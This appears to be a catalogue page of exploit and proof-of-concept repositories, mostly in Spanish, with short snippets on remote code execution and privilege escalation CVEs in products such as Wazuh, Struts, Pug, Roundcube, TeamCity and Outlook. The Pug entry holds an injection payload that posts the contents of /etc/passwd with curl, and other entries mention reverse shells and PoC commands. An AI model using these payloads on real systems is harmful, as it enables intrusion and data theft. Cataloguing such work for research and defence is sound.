CVE-2025-24016

Ejecución Remota de Código RCE en Wazuh - PoC Resumen de la Vulnerabilidad Este repositorio demuestra la vulnerabilidad de ejecución remota de código RCE en el servidor Wazuh, introducida por una deserialización insegura en el paquete wazuh-manager. La vulnerabilidad permite que atacantes remotos...

CVE-2017-5638

CVE-2017-5638 Apache Struts 2.3.5 Example:...

PUG-RCE-CVE-2021-21353-POC

PUG-RCE CVE-2021-21353 POC Vulnerability Information CVE Number: cve-2021-21353 CVSS Score: 8.1 pugversion ';=' ?pretty=';process.mainModule.constructor.load'childprocess'.exec'curl -X POST -d "$cat /etc/passwd" ';='...

RightHand-Persistence

RightHand Persistence inspirado en CVE-2026-21509 Manejador de Menú Contextual COM en C++ para Persistencia Una implementación de ejemplo de un manejador de menú contextual de Windows usando C++ y COM, que demuestra una técnica sigilosa de persistencia. Al registrar un objeto COM personalizado, t...

spring-core-rce

Spring Core RCE/CVE-2022-22965 Alcance: frameworks Spring y derivados con JDK=9 Enlace al artículo El script es solo para fines de aprendizaje; cualquier otro uso y las responsabilidades legales que conlleve son ajenos al autor 1.Instalación pip3 install -r requirements.txt 2.Uso $ python3...

CVE-2025-55182

React2Shell: Análisis de CVE-2025-55182 Autor: Kavienan J Vulnerabilidad descubierta por: lachlan2k, quien la divulgó responsablemente al equipo de React. Para actualizaciones sobre esta vulnerabilidad, visita: react2shell.com Tabla de contenidos 1. Introducción 2. Antecedentes 3. Entendiendo...

CVE-2022-33980-Apache-Commons-Configuration-RCE

CVE-2022-33980-Apache-Commons-Configuration-RCE...

CVE-2025-49113-exploit

CVE-2025-49113 - Ejecución Remota de Código en Roundcube Un exploit de prueba de concepto para CVE-2025-49113, una vulnerabilidad de ejecución remota de código en Roundcube Webmail. Descripción Este exploit aprovecha una vulnerabilidad de deserialización en las versiones 1.5.0 a 1.6.10 de Roundcu...

CVE-2026-103105

Pexip Infinity before 38.2, plus 39.0, 39.1 and 40.0, is affected by improper access control on a product-internal API which allows an attacker with local access to a node within a Pexip Infinity installation to execute arbitrary code as an unprivileged user on another Pexip Infinity node...

CVE-2023-42793

CVE-2023-42793 JetBrains TeamCity anterior a 2023.05.4 es vulnerable a un bypass de autenticación que lleva a RCE Uso Para obtener una reverse shell python3 exploit.py Referencias https://blog.jetbrains.com/teamcity/2023/09/cve-2023-42793-vulnerability-post-mortem/...

CVE-2024-37054-MLflow-RCE

| / || | | || | / \ \ / / | |/| || | | | | | | | | |\ \ /\ / / | | | || | | | | || || | \ V V / || |||||| ||/ // | \ / || | | \ / | | | || | | | | | |/ \ | | | | | | | | /| || | || \ ||| || / | CVE-2024-37054: Prueba de concepto PoC de ejecución remota de código en MLflow Este repositorio...

Cable-modems

Análisis de módems ISP con WiFi Resumen SEARCH-LAB Ltd evaluó cinco modelos de puerta de enlace gateway doméstica, todos ellos utilizados por muchos proveedores de servicios de internet en todo el mundo, aunque los dispositivos reales eran operados por uno de los operadores de televisión por cabl...

CVE-2021-41773

CVE-2021-41773 — Explotación de Path Traversal y RCE en Apache Writeup de la sala "Modern Web Stacks" de TryHackMe, enfocado en explotar CVE-2021-41773 , una vulnerabilidad de path traversal en Apache HTTP Server 2.4.49 que conduce a ejecución remota de código cuando modcgi está habilitado. Resum...

CVE-2024-21413

CVE-2024-21413 | Prueba de Concepto de Vulnerabilidad de Ejecución Remota de Código en Microsoft Outlook 🚀 Uso Asegúrate de tener los permisos y la autorización adecuados del propietario del sistema objetivo antes de usar este script. Requisitos previos Python 3.x impacket-smbserver Ejemplo de us...

CVE-2019-9193

CVE-2019–9193 - Ejecución remota de código autenticada en PostgreSQL 9.6.1 Prueba de concepto La base de datos PostgreSQL a partir de la versión 9.6.1 es vulnerable a la ejecución remota de código autenticada. Aunque el equipo de desarrollo no lo considere una vulnerabilidad en sí misma, esto...

CVE-2026-32996

CVE-2026-32996 A vulnerability in Veeam Agent for Microsoft Windows allows for Local Privilege Escalation. Check blog post post for technical details. https://github.com/user-attachments/assets/8a570332-1cf6-4905-9107-8fcb973c9ce7 PoC CVE-2026-32996.exe "whoami C:\pwned.txt" + Found...

jadx-magic-strings

JADX Magic Strings Plugin A JADX plugin that extracts information from string constants. Features The plugin extracts and analyzes string constants from decompiled code to find: 1. Source File References : Detects references to Java/Kotlin source files .java, .kt, .kts, .scala, .groovy in string...

CVE-2024-21413-Outlook-Assessment

title: "CVE-2024-21413 Enlace Moniker: Evaluación de ejecución remota de código en Microsoft Outlook" date: 2026-06-28 author: Lindon Mitchell YoguiCR role: Investigador de Seguridad / Analista de Exploits status: Completado classification: Público / Portafolio environment: TryHackMe - Laboratori...

SSH-Remote-Code-Execution

SSH Remote Code Execution SSH Zero-Day | Hecho por ClumsyLulz y Taylor Christian Newsome Resumen Este repositorio contiene un programa en C que acepta parámetros de entrada y genera un paquete para enviarlo a un servidor mediante el protocolo SSH. El programa asigna un búfer para almacenar los...

CVE-2019-7609

CVE-2019-7609 Kibana Vulnerabilidad que permite ejecución remota de código debido a una falla en el visualizador Timelion de Kibana Configuración del entorno docker 1. Ejecuta el archivo docker-compose.yml adjunto. docker-comopse up -d 2. Accede a http://127.0.0.1:5601 desde el navegador. Exploit...